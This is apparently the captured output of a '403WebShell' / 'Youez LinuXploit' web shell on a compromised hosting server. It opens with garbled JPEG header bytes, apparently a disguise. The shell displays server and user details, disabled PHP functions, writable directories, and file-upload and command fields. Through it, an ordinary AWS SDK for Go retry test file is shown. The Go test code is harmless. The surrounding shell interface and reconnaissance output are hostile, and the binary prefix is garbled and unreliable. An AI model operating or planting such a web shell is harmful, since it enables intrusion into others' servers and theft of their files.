JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 2.57.91.60  /  Your IP : 216.73.217.129
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/aws/request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/aws/aws-sdk-go@v1.55.5/aws/request/request_retry_test.go
package request

import (
	"fmt"
	"net"
	"net/http"
	"net/http/httptest"
	"net/url"
	"os"
	"testing"
	"time"

	"github.com/aws/aws-sdk-go/aws/awserr"
)

func newRequest(t *testing.T, url string) *http.Request {
	r, err := http.NewRequest("GET", url, nil)
	if err != nil {
		t.Fatalf("can't forge request: %v", err)
	}
	return r
}

func TestShouldRetryError_nil(t *testing.T) {
	if shouldRetryError(nil) != true {
		t.Error("shouldRetryError(nil) should return true")
	}
}

func TestShouldRetryError_timeout(t *testing.T) {

	tr := &http.Transport{}
	defer tr.CloseIdleConnections()
	client := http.Client{
		Timeout:   time.Nanosecond,
		Transport: tr,
	}

	resp, err := client.Do(newRequest(t, "https://179.179.179.179/no/such/host"))
	if resp != nil {
		resp.Body.Close()
	}
	if err == nil {
		t.Fatal("This should have failed.")
	}
	debugerr(t, err)

	if shouldRetryError(err) == false {
		t.Errorf("this request timed out and should be retried")
	}
}

func TestShouldRetryError_cancelled(t *testing.T) {
	tr := &http.Transport{}
	defer tr.CloseIdleConnections()
	client := http.Client{
		Transport: tr,
	}

	cancelWait := make(chan bool)
	srvrWait := make(chan bool)
	srvr := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
		close(cancelWait) // Trigger the request cancel.
		time.Sleep(100 * time.Millisecond)

		fmt.Fprintf(w, "Hello")
		w.(http.Flusher).Flush() // send headers and some body
		<-srvrWait               // block forever
	}))
	defer srvr.Close()
	defer close(srvrWait)

	r := newRequest(t, srvr.URL)
	ch := make(chan struct{})
	r.Cancel = ch

	// Ensure the request has started, and client has started to receive bytes.
	// This ensures the test is stable and does not run into timing with the
	// request being canceled, before or after the http request is made.
	go func() {
		<-cancelWait
		close(ch) // request is cancelled before anything
	}()

	resp, err := client.Do(r)
	if resp != nil {
		resp.Body.Close()
	}
	if err == nil {
		t.Fatal("This should have failed.")
	}

	debugerr(t, err)

	if shouldRetryError(err) == true {
		t.Errorf("this request was cancelled and should not be retried")
	}
}

func TestShouldRetry(t *testing.T) {

	syscallError := os.SyscallError{
		Err:     ErrInvalidParams{},
		Syscall: "open",
	}

	opError := net.OpError{
		Op:     "dial",
		Net:    "tcp",
		Source: net.Addr(nil),
		Err:    &syscallError,
	}

	urlError := url.Error{
		Op:  "Post",
		URL: "https://localhost:52398",
		Err: &opError,
	}
	origError := awserr.New("ErrorTestShouldRetry", "Test should retry when error received", &urlError).OrigErr()
	if e, a := true, shouldRetryError(origError); e != a {
		t.Errorf("Expected to return %v to retry when error occurred, got %v instead", e, a)
	}

}

func debugerr(t *testing.T, err error) {
	t.Logf("Error, %v", err)

	switch err := err.(type) {
	case temporary:
		t.Logf("%s is a temporary error: %t", err, err.Temporary())
		return
	case *url.Error:
		t.Logf("err: %s, nested err: %#v", err, err.Err)
		if operr, ok := err.Err.(*net.OpError); ok {
			t.Logf("operr: %#v", operr)
		}
		debugerr(t, err.Err)
		return
	default:
		return
	}
}

func TestRequest_retryCustomCodes(t *testing.T) {
	cases := map[string]struct {
		Code               string
		RetryErrorCodes    []string
		ThrottleErrorCodes []string
		Retryable          bool
		Throttle           bool
	}{
		"retry code": {
			Code: "RetryMePlease",
			RetryErrorCodes: []string{
				"RetryMePlease",
				"SomeOtherError",
			},
			Retryable: true,
		},
		"throttle code": {
			Code: "AThrottleableError",
			RetryErrorCodes: []string{
				"RetryMePlease",
				"SomeOtherError",
			},
			ThrottleErrorCodes: []string{
				"AThrottleableError",
				"SomeOtherError",
			},
			Throttle: true,
		},
		"unknown code": {
			Code: "UnknownCode",
			RetryErrorCodes: []string{
				"RetryMePlease",
				"SomeOtherError",
			},
			Retryable: false,
		},
	}

	for name, c := range cases {
		req := Request{
			HTTPRequest:        &http.Request{},
			HTTPResponse:       &http.Response{},
			Error:              awserr.New(c.Code, "some error", nil),
			RetryErrorCodes:    c.RetryErrorCodes,
			ThrottleErrorCodes: c.ThrottleErrorCodes,
		}

		retryable := req.IsErrorRetryable()
		if e, a := c.Retryable, retryable; e != a {
			t.Errorf("%s, expect %v retryable, got %v", name, e, a)
		}

		throttle := req.IsErrorThrottle()
		if e, a := c.Throttle, throttle; e != a {
			t.Errorf("%s, expect %v throttle, got %v", name, e, a)
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit